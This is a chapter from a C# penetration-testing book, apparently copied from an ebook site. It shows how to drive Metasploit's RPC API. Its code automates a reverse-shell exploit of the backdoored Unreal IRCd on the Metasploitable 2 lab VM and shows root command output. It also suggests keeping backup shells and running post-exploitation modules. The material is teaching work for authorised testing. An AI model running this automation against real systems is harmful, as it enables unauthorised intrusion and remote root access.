11
AUTOMATING METASPLOIT

image

Metasploit is the de facto open source penetration-testing framework. Written in Ruby, Metasploit is both an exploit database and a framework for exploit development and penetration testing. But many of Metasploit’s most powerful features, such as its remote procedure call (RPC) API, are often overlooked.

This chapter introduces you to the Metasploit RPC and shows you how to use it to programmatically drive the Metasploit Framework. You’ll learn how to use the RPC to automate Metasploit to exploit Metasploitable 2, an intentionally vulnerable Linux machine designed for learning how to use Metasploit. Red teams or offensive security professionals should note that many pieces of tedious work can be automated, thus freeing up time to focus more on the intricate or nonobvious vulnerabilities. With an API-driven Metasploit Framework at your fingertips, you’ll be able to automate tedious tasks such as host discovery and even network exploitation in a scaleable way.

Running the RPC Server

Since we set up Metasploit in Chapter 4, I won’t go over how to set it up again here. Listing 11-1 shows what you need to enter in order to run the RPC server.

$ msfrpcd -U username -P password -S -f

Listing 11-1: Running the RPC server

The -U and -P arguments stand for the username and password that authenticate the RPC. You can use whatever you want for the username or password, but you will need the credentials when we write the C# code. The -S argument disables SSL. (Self-signed certificates make things a bit more complicated, so we’ll ignore them for now.) Finally, -f tells the RPC interface to run in the foreground to make the RPC process easier to monitor.

To use the new RPC interface that is running, either start a new terminal or restart msfrpcd without the -f option (which starts msfrpcd in the background) and then use Metasploit’s msfrpc client to connect to the RPC listener that was just started and begin issuing calls. Be forewarned, though: the msfrpc client is rather cryptic—it’s difficult to read and has unintuitive error messages. Listing 11-2 shows the process of authenticating with the msfrpcd server using the msfrpc client shipped with Metasploit.

$ msfrpc -U username -P password -S -a 127.0.0.1
[*] The 'rpc' object holds the RPC client interface
[*] Use rpc.call('group.command') to make RPC calls

>> rpc.call('auth.login', 'username', 'password')
=> {"result"=>"success", "token"=>"TEMPZYFJ3CWFxqnBt9AfjvofOeuhKbbx"}

Listing 11-2: Using the msfrpc client to authenticate with the msfrpcd server

To connect to the RPC listener with msfrpcd, we pass a few arguments to msfrpcd. The username and password we set on the RPC listener for authentication are passed with -U and -P , respectively. The -S argument tells msfrpc to not use SSL when connecting to the listener, and the -a argument is the IP address to which the listener connects. Since we started our msfrpcd instance without specifying an IP address to listen on, the default address of 127.0.0.1 is used.

Once connected to the RPC listener, we can use rpc.call() to call API methods that are available. We are going to test with the auth.login remote procedure method because it will use the same username and password we passed as the arguments. When you call rpc.call(), the RPC method and arguments are packed into a serialized MSGPACK blob that is sent to the RPC server using an HTTP post request with a content type of binary/message-pack. These are important points to note because we need to do the same things in C# to communicate with the RPC server.

We already have a lot of experience with the HTTP libraries, but MSGPACK serialization is certainly not a typical HTTP serialization format (you’re more likely to see XML or JSON). MSGPACK allows C# to read and respond with complex data from the Ruby RPC server very efficiently, just as using JSON or XML would have been a potential bridge for the two languages. As we work with MSGPACK, it should become clearer how MSGPACK serialization works.

Installing Metasploitable

Metasploitable 2 has a specific vulnerability that is particularly simple to exploit: a backdoored Unreal IRC server. This is a great example of a vulnerability with a Metasploit module that we can cut our teeth on with the Metasploit RPC. You can download Metasploitable 2 from either Rapid7 at https://information.rapid7.com/metasploitable-download.html or VulnHub at https://www.vulnhub.com/.

Metasploitable is shipped as a VMDK image in a ZIP archive, so installing it into VirtualBox isn’t completely straightforward. After unzipping the Metasploitable VM and opening VirtualBox, follow these instructions:

  1. Click the New button in the top-left corner of VirtualBox to open the wizard.

  2. Create a new VM named Metasploitable.

  3. Give it a Type of Linux and leave the Version as Ubuntu (64-bit); then click continue or Next.

  4. Allocate between 512 MB and 1 GB RAM to the VM and then click continue or Next.

  5. In the Hard Disk dialog, select the Use an existing virtual hard disk file option.

  6. Next to the hard disk drop-down is a small folder icon. Click this and navigate to the folder into which you unzipped Metasploitable.

  7. Select the Metasploitable VMDK file and click Open in the bottom right of the dialog.

  8. In the Hard Disk dialog, click the Create button. This should close the VM wizard.

  9. Start the new VM by clicking the Start button at the top of the VirtualBox window.

Once the virtual appliance has booted up, we need its IP address. To get the IP, after the appliance has booted up, log in with the credentials msfadmin/msfadmin and then enter ifconfig at the bash shell to have the IP configuration printed to the screen.

Getting the MSGPACK Library

We need to get one more thing before we can start writing the code to drive our Metasploit instance using C#: the MSGPACK library. This library is not part of the core C# libraries, so we have to use NuGet, which is a .NET package manager like pip (Python) or gem (Ruby), to install the correct library we want to use. By default, Visual Studio and Xamarin Studio have great NuGet package management support. However, the free MonoDevelop available for Linux distros isn’t as up-to-date with the NuGet features as these other IDEs. Let’s go over installing the correct MSGPACK library in MonoDevelop. It’s a bit roundabout, but using Xamarin Studio and Visual Studio should be much simpler because they don’t require you to use a specific version of the MSGPACK library.

Installing the NuGet Package Manager for MonoDevelop

First, you may need to install the NuGet add-in using the Add-in Manager in MonoDevelop. If so, open MonoDevelop and then follow these steps to install the NuGet package manager:

  1. Go to the Tools Add-in Manager menu item.

  2. Click the Gallery tab.

  3. In the Repository drop-down list, select Manage Repositories.

  4. Click the Add button to add a new repository.

  5. In the Add New Repository dialog, ensure Register an on-line repository is selected. In the URL text box, enter the following URL:

    http://mrward.github.com/monodevelop-nuget-addin-repository/4.0/main.mrep

  6. Click OK and close the Add New Repository dialog by clicking Close.

With the new repository installed, you can install the NuGet package manager easily. After closing the repository dialog, you should be back on the Gallery tab in the Add-in Manager. In the top-right corner of the Add-in Manager is a text box for searching possible add-ins to install. Enter nuget into this box; it should filter the packages to show you the NuGet package manager. Select the NuGet extension and then click the Install button (see Figure 11-1).

image

Figure 11-1: The MonoDevelop Add-in Manager installing NuGet

Installing the MSGPACK Library

Now that the NuGet package manager is installed, we can install our MSGPACK library. There is a small hitch, though. The best version of the MSGPACK library to install for MonoDevelop is 0.6.8 (for compatibility purposes), but the NuGet manager in MonoDevelop doesn’t allow us to specify a version and will try to install the latest version. We need to add a packages.config file manually to the project that specifies the version of the library we want, as shown in Listing 11-3. Right-click the Metasploit project in the Solution Explorer in MonoDevelop, Xamarin Studio, or Visual Studio. From the menu that appears, select Add New File and add a new file called packages.config.

<?xml version="1.0" encoding="utf-8"?>
<packages>
  <package id="MsgPack.Cli" version="0.6.8" targetFramework="net45" />
</packages>

Listing 11-3: The packages.config file specifying the correct version of the MsgPack.Cli library

After creating the packages.config file, restart MonoDevelop and open the project you created to run the Metasploit code we’ll soon write. You should now be able to right-click the project references and click the Restore NuGet Packages menu item, which will ensure the packages in the packages.config file are installed with the correct versions.

Referencing the MSGPACK Library

With the correct version of the MSGPACK library installed, we can now add it as a reference to the project so we can start writing some code. Usually NuGet would handle this for us, but this is a small bug in MonoDevelop that we must work around. Right-click the References folder in your MonoDevelop solution pane and select Edit References... (see Figure 11-2).

image

Figure 11-2: The Edit References... menu item in the solution pane

The Edit References dialog should come up with a few tabs available, as shown in Figure 11-3. You want to select the .Net Assembly tab and then navigate to the MsgPack.dll assembly in the packages folder in the root of the project. This packages folder was created by NuGet automatically when you downloaded the MSGPACK library.

image

Figure 11-3: The Edit References dialog

After finding the MsgPack.dll library, select it and click OK in the bottom-right corner of the dialog. This should add the MsgPack.dll library to your project so that you can begin using the classes and referencing the library in your C# source files.

Writing the MetasploitSession Class

Now we need to build a MetasploitSession class to communicate with the RPC server, as shown in Listing 11-4.

public class MetasploitSession : IDisposable
{
  string _host;
  string _token;

  public MetasploitSession(string username, string password, string host)
  {
    _host = host;
    _token = null;

    Dictionary<object, object> response = this.Authenticate(username, password);

   bool loggedIn = !response.ContainsKey("error");
    if (!loggedIn)
    throw new Exception(response["error_message"] as string);
   if ((response["result"] as string) == "success")
      _token = response["token"] as string;
   }

   public string Token
   {
     get { return _token; }
   }

   public Dictionary<object, object> Authenticate(string username, string password)
   {
     return this.Execute("auth.login", username, password);
   }

Listing 11-4: The MetasploitSession class constructor, Token property, and Authenticate() method

The MetasploitSession constructor takes three arguments, as shown at : the username and password to authenticate with and the host to connect to. We call Authenticate() with the supplied username and password and then test for authentication by checking whether the response contains an error . If the authentication fails, an exception is thrown . If authentication succeeds, we assign the _token variable with the value of the authentication token returned by the RPC and make the Token public. The Authenticate() method calls the Execute() method , passing in auth.login as the RPC method along with the username and password.

Creating the Execute() Method for HTTP Requests and Interacting with MSGPACK

The Execute() method shown in Listing 11-5 does the bulk of the work of the RPC library, creating and sending HTTP requests and serializing the RPC methods and arguments into MSGPACK.

public Dictionary<object, object> Execute(string method, params object[] args)
{
  if (method != "auth.login" && string.IsNullOrEmpty(_token))
    throw new Exception("Not authenticated.");

  HttpWebRequest request = (HttpWebRequest)WebRequest.Create(_host);
  request.ContentType = "binary/message-pack";
  request.Method = "POST";
  request.KeepAlive = true;

  using (Stream requestStream = request.GetRequestStream())
  using (Packer msgpackWriter = Packer.Create(requestStream))
  {
    bool sendToken = (!string.IsNullOrEmpty(_token) && method != "auth.login");
    msgpackWriter.PackArrayHeader(1 + (sendToken ? 1 : 0) + args.Length);
    msgpackWriter.Pack(method);

    if (sendToken)
      msgpackWriter.Pack(_token);
  foreach (object arg in args)
     msgpackWriter.Pack(arg);
  }


 using (MemoryStream mstream = new MemoryStream())
  {
    using (WebResponse response = request.GetResponse())
    using (Stream rstream = response.GetResponseStream())
      rstream.CopyTo(mstream);

    mstream.Position = 0;

    MessagePackObjectDictionary resp =
      Unpacking.UnpackObject(mstream).AsDictionary();
    return MessagePackToDictionary(resp);
  }
}

Listing 11-5: The MetasploitSession class’s Execute() method

At , we check whether auth.login was passed as the RPC method, which is the only RPC method that doesn’t require authentication. If the method is not auth.login and we have no authentication token set, we throw an exception because the command passed to be executed will fail without authentication.

Once we know that we have the authentication necessary to make the API HTTP request, we set the ContentType to binary/message-pack so that the API knows we are sending it MSGPACK data in the HTTP body. We then create a Packer class by passing the HTTP request stream to the Packer.Create() method . The Packer class (defined in the MsgPack.Cli library) is a real time-saver that allows us to write our RPC method and arguments to the HTTP request stream. We’ll use the various packing methods in the Packer class to serialize and write the RPC methods and arguments to the request stream.

We write the total number of pieces of information we are writing to the request stream using PackArrayHeader() . For example, the auth.login method has three pieces of information: the method name and the two arguments username and password. We would first write the number 3 onto the stream. Then we would write the strings auth.login, username, and password to the stream using Pack. We’ll use this general process of serializing and sending the API method and arguments as the HTTP body to send our API requests to the Metasploit RPC.

Having written the RPC method to the request stream, we write the authentication token if necessary. We then move on to packing the RPC method arguments in a foreach loop to finish the HTTP request making the API call.

The rest of the Execute() method reads the HTTP response that is serialized with MSGPACK and converts it into C# classes that we can use. We first read the response into a byte array using a MemoryStream() . We then deserialize the response with UnpackObject() , passing the byte array as the only argument and returning the object as a MSGPACK dictionary. This MSGPACK dictionary isn’t exactly what we want, though. The values contained in the dictionary—such as strings—all need to be converted to their C# class counterparts so that we can easily use them. To do this, we pass the MSGPACK dictionary to the MessagePackToDictionary() method (discussed in the next section).

Transforming Response Data from MSGPACK

The next few methods are mainly used to transform the API responses from Metasploit in the MSGPACK format into C# classes we can use more easily.

Converting an MSGPACK Object to a C# Dictionary with MessagePackToDictionary()

The MessagePackToDictionary() method shown in Listing 11-6 was introduced at the end of Listing 11-5 in the Execute() method. It accepts a MessagePackObjectDictionary and converts it into a C# dictionary (a class for holding key/value pairs), which is a close equivalent to a Ruby or Python hash.

Dictionary<object,object> MessagePackToDictionary(MessagePackObjectDictionary dict)
{
  Dictionary<object, object> newDict = new Dictionary<object, object>();
  foreach (var pair in dict)
  {
    object newKey = GetObject(pair.Key);
    if (pair.Value.IsTypeOf<MessagePackObjectDictionary>() == true)
      newDict[newKey] = MessagePackToDictionary(pair.Value.AsDictionary());
    else
      newDict[newKey] = GetObject(pair.Value);
  }
 return newDict;
}

Listing 11-6: The MessagePackToDictionary() method

The MessagePackToDictionary() method takes a single argument , the MSGPACK dictionary we want to convert to a C# dictionary. Once we’ve created the C# dictionary , we’ll put our converted MSGPACK objects in it by iterating over each key/value pair from the MSGPACK dictionary passed as the argument to the method . First, we’ll get a C# object for the given key of the current loop iteration , and then we’ll test the corresponding value to determine how best to deal with it. For example, if the value is a dictionary, we introduce recursion into the method by calling MessagePackToDictionary(). Otherwise, if the value isn’t another dictionary, we convert it to its corresponding C# type with GetObject(), which we’ll define later . Finally, we return the new dictionary with the C# types instead of MSGPACK types.

Converting an MSGPACK Object to a C# Object with GetObject()

Listing 11-7 shows how we implement the GetObject() method shown at in Listing 11-6. This method accepts a MessagePackObject, converts it into its C# class, and returns the new object.

private object GetObject(MessagePackObject str)
{
if (str.UnderlyingType == typeof(byte[]))
   return System.Text.Encoding.ASCII.GetString(str.AsBinary());
 else if (str.UnderlyingType == typeof(string))
   return str.AsString();
 else if (str.UnderlyingType == typeof(byte))
   return str.AsByte();
 else if (str.UnderlyingType == typeof(bool))
   return str.AsBoolean();

return null;
}

Listing 11-7: The MetasploitSession class’s GetObject() method

The GetObject() method checks whether an object is one of a certain type, like a string or a Boolean, and returns the object as the C# type if it finds a match. At , we convert any MessagePackObject with an UnderlyingType that is an array of bytes to a string and return the new string. Because some of the “strings” sent from Metasploit are actually just byte arrays, we must convert these byte arrays to strings in the beginning or we’ll need to cast them to strings whenever we want to use them. Casting often is computationally inefficient, so it’s best to just convert all the values up front.

The rest of the if statements check for and convert other data types. If we get to the last else if statement and have not been able to return a new object, we return null . This allows us to test whether the conversion to another type was successful. If null is returned, we must find out why we couldn’t convert the MSGPACK object to another C# class.

Cleaning Up the RPC Session with Dispose()

The Dispose() method shown in Listing 11-8 cleans up our RPC session during garbage collection.

public void Dispose()
{
  if (this.Token != null)
  {
    this.Execute("auth.logout", this.Token);
    _token = null;
  }
}

Listing 11-8: The MetasploitSession class’s Dispose() method

If our Token property is not null, we assume we are authenticated, call auth.logout and pass the authentication token as the only argument, and assign null to the local _token variable.

Testing the session Class

Now can test our session class by displaying the version of the RPC (see Listing 11-9). With the session class working and finished, we can begin really driving Metasploit and move on to exploiting Metasploitable automatically.

public static void Main(string[] args)
{
  string listenAddr = args[0];
  using (MetasploitSession session = new MetasploitSession("username",
    "password", "http://"+listenAddr+":55553/api"))
  {
    if (string.IsNullOrEmpty(session.Token))
      throw new Exception("Login failed. Check credentials");

    Dictionary<object, object> version = session.Execute("core.version");

    Console.WriteLine("Version: " + version["version"]);
    Console.WriteLine("Ruby: " + version["ruby"]);
    Console.WriteLine("API: " + version["api"]);
  }
}

Listing 11-9: Testing the MetasploitSession class to get version information from the RPC interface

This small test program expects a single argument: the IP address for the Metasploit host. The first thing we do is assign the first argument to the listenAddr variable , which is used to create a new MetasploitSession . Once authenticated, we call the core.version RPC method to display the Metasploit , Ruby , and API versions in use, the output of which is shown in Listing 11-10.

$ ./ch11_automating_metasploit.exe 192.168.0.2
Version: 4.11.8-dev-a030179
Ruby: 2.1.6 x86_64-darwin14.0 2015-04-13
API: 1.0

Listing 11-10: Running the MetasploitSession test prints the API, Ruby, and Metasploit version information

Writing the MetasploitManager Class

The MetasploitManager class shown in Listing 11-11 wraps some basic functionality that we will need in order to drive exploitation programmatically via the RPC, including the ability to list sessions, read session shells, and execute modules.

public class MetasploitManager : IDisposable
{
  private MetasploitSession _session;

  public MetasploitManager(MetasploitSession session)
  {
    _session = session;
  }

  public Dictionary<object, object> ListJobs()
  {
    return _session.Execute("job.list");
  }

  public Dictionary<object, object> StopJob(string jobID)
  {
    return _session.Execute("job.stop", jobID);
  }

  public Dictionary<object, object> ExecuteModule(string moduleType, string moduleName,
    Dictionary<object, object> options)
  {
    return _session.Execute("module.execute", moduleType, moduleName, options);
  }

  public Dictionary<object, object> ListSessions()
  {
    return _session.Execute("session.list");
  }

  public Dictionary<object, object> StopSession(string sessionID)
  {
    return _session.Execute("session.stop", sessionID);
  }

  public Dictionary<object, object> ReadSessionShell(string sessionID, int? readPointer = null)
  {
    if (readPointer.HasValue)
      return _session.Execute("session.shell_read", sessionID, readPointer.Value);
    else
      return _session.Execute("session.shell_read", sessionID);
  }

  public Dictionary<object, object> WriteToSessionShell(string sessionID, string data)
  {
    return _session.Execute("session.shell_write", sessionID, data);
  }

  public void Dispose()
  {
    _session = null;
  }
}

Listing 11-11: The MetasploitManager class

The MetasploitManager constructor takes a MetasploitSession as its only argument and then assigns the session argument to a local class variable. The rest of the methods in the class simply wrap a specific RPC method that we’ll use to automate the exploitation of Metasploitable 2. For example, we use the ListJobs() method to monitor our exploit so we know when the exploit is finished and we can run a command on the shelled machine.

We use the ReadSessionShell() method to read any output resulting from running a command with the session. The WriteToSessionShell() method , conversely, writes any commands to the shell to be executed. The ExecuteModule() method takes a module to execute and the options to use when executing the module. Each method uses Execute() to execute a given RPC method and return the results to the caller. We’ll discuss each method as we make the finishing touches to drive Metasploit in the next sections.

Putting It All Together

Now we can use our classes to begin automating exploitation via Metasploit. First, let’s write a Main() method to listen for a connect-back shell and then run an exploit that causes Metasploitable to connect back to our listener with a new session (see Listing 11-12).

public static void Main(string[] args)
{
 string listenAddr = args[1];
  int listenPort = 4444;
  string payload = "cmd/unix/reverse";

  using (MetasploitSession session = new MetasploitSession("username",
    "password", "http://"+listenAddr+":55553/api"))
  {
    if (string.IsNullOrEmpty(session.Token))
      throw new Exception("Login failed. Check credentials");

    using (MetasploitManager manager = new MetasploitManager(session))
    {
      Dictionary<object, object> response = null;

     Dictionary<object, object> opts = new Dictionary<object, object>();
      opts["ExitOnSession"] = false;
      opts["PAYLOAD"] = payload;
      opts["LHOST"] = listenAddr;
      opts["LPORT"] = listenPort;

      response = manager.ExecuteModule("exploit", "multi/handler", opts);
      object jobID = response["job_id"];

Listing 11-12: The beginning of the Main() method for automating the MetasploitSession and MetasploitManager classes

Next, we define a few variables for later use : the address and port for Metasploit to listen on for a connection back and the payload to be sent to Metasploitable. Then, we create a new MetasploitSession class and check the session Token property to confirm authentication. Once we know that we are authenticated, we pass the session to a new MetasploitManager so that we can begin exploitation.

At , we create a dictionary to hold the options to send to Metasploit when we begin listening for a connect-back, namely ExitOnSession, PAYLOAD, LHOST, and LPORT. The ExitOnSession option is a Boolean value that dictates whether the listener will stop when a session connects. If this value is true, the listener will stop. If it’s false, the listener will continue to listen for new shells. The PAYLOAD option is a string that tells Metasploit what kind of connect-back payload the listener should expect. LPORT and LHOST are the port and the IP address to listen on, respectively. We pass these options to the multi/handler exploit module (which listens for a connect-back shell from Metasploitable) using the ExecuteModule() , which starts a job to listen for the connect-back shell. The job ID is returned by ExecuteModule() and stored for later use.

Running the Exploit

Listing 11-13 shows how to add the code to run the actual exploit against Metasploitable.

   opts = new Dictionary<object, object>();
   opts["RHOST"] = args[0];
   opts["DisablePayloadHandler"] = true;
   opts["LHOST"] = listenAddr;
   opts["LPORT"] = listenPort;
   opts["PAYLOAD"] = payload;

   manager.ExecuteModule("exploit", "unix/irc/unreal_ircd_3281_backdoor", opts);

Listing 11-13: Running the Unreal IRCD exploit via the RPC

As we did earlier, we set up the module datastore options in a dictionary before calling ExecuteModule() and passing it the unix/irc/unreal_ircd_ 3281_backdoor exploit module name and options (see Listing 11-14).

   response = manager.ListJobs();
   while (response.ContainsValue("Exploit: unix/irc/unreal_ircd_3281_backdoor"))
   {
     Console.WriteLine("Waiting");
     System.Threading.Thread.Sleep(10000);
     response = manager.ListJobs();
   }

   response = manager.StopJob(jobID.ToString());

Listing 11-14: Watching until the Unreal IRC exploit is finished running

The ListJobs() method returns a list of all jobs currently running on the Metasploit instance as a list of strings with the module name in them. If the list contains the name of the module we are running, our exploit hasn’t finished, so we need to wait a bit and recheck until our module is no longer listed. If ContainsValue() returns true, then our module is still running, so we sleep and call ListJobs() again until the exploit module is no longer listed in the jobs, which means it has finished running. Now we should have a shell. Finally, we turn off the multi/handler exploit module with StopJob() by passing it the job ID we stored earlier.

Interacting with the Shell

We should now be able to interact with the new shell. To test the connection, we run a simple command to confirm we have the access we want, as shown in Listing 11-15.

      response = manager.ListSessions();
      foreach (var pair in response)
      {
        string sessionID = pair.Key.ToString();
        manager.WriteToSessionShell(sessionID, "id ");
        System.Threading.Thread.Sleep(1000);
        response = manager.ReadSessionShell(sessionID);
        Console.WriteLine("We are user: " + response ["data"]);
        Console.WriteLine("Killing session: " + sessionID);
        manager.StopSession(sessionID);
      }
    }
  }
}

Listing 11-15: Retrieving the list of the current sessions and printing the results

At , we call ListSessions(), which returns a list of the session IDs and general information about the sessions, such as session type. As we iterate over each session (there should only be one, unless you run the exploit multiple times!), we use the WriteToSessionShell() method to write the id command to the session shell, then sleep for a bit, and read the response using ReadSessionShell() . Finally, we write the results of running id on the compromised system and then kill the session with StopSession() .

Popping Shells

Now we can run the automation and pop some easy shells. The program must be run with two arguments: the host to exploit and the IP address Metasploit should listen on for shells, as Listing 11-16 shows.

$ ./ch11_automating_metasploit.exe 192.168.0.18 192.168.0.2
Waiting
Waiting
Waiting
Waiting
Waiting
We are user: uid=0(root) gid=0(root)

Killing session: 3
$

Listing 11-16: Running the Unreal IRC exploit automation, showing we have a root shell

If everything has worked correctly, we should now have a root shell , and we can run some post-exploitation modules against Metasploitable using C# automation, or perhaps just spin off a few backup shells in case this one goes dark. The post/linux/gather/enum_configs module is a common post-exploit module for Linux. You could update your automation to run this or any of the post/linux/gather/enum_* modules after popping the initial shell on Metasploitable.

This is just the beginning of the very cool things you can drive the Meta sploit Framework to do, from discovery to exploitation. As mentioned earlier, Metasploit even has a place in post-exploitation with many modules for several operating systems. You can also drive discovery using the auxiliary scanner modules in auxiliary/scanner/*. A neat exercise would be to take the cross-platform Metasploit payload we wrote in Chapter 4 and dynamically generate shellcode via the RPC and create dynamic payloads.

Conclusion

In this chapter, you learned how to create a small set of classes to programmatically drive Metasploit via the RPC interface. Using basic HTTP libraries and a third-party MSGPACK library, we were able to exploit the Metasploitable 2 virtual machine with the Unreal IRCD backdoor and then run a command on the shelled machine to prove we had a root shell.

We have only touched on the power of the Metasploit RPC in this chapter. I highly encourage you to dig deeper into the potential of building Metasploit into change management or software development life cycle processes in your corporate environments to ensure misconfigurations or vulnerable software is not reintroduced to a data center or network with automatic scanning. At home, you can easily automate new device discovery with the Nmap integration that Metasploit ships with to find any new phones or gadgets your kids may not have told you about. The possibilities are limitless when it comes to the flexibility and power of the Metasploit Framework.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset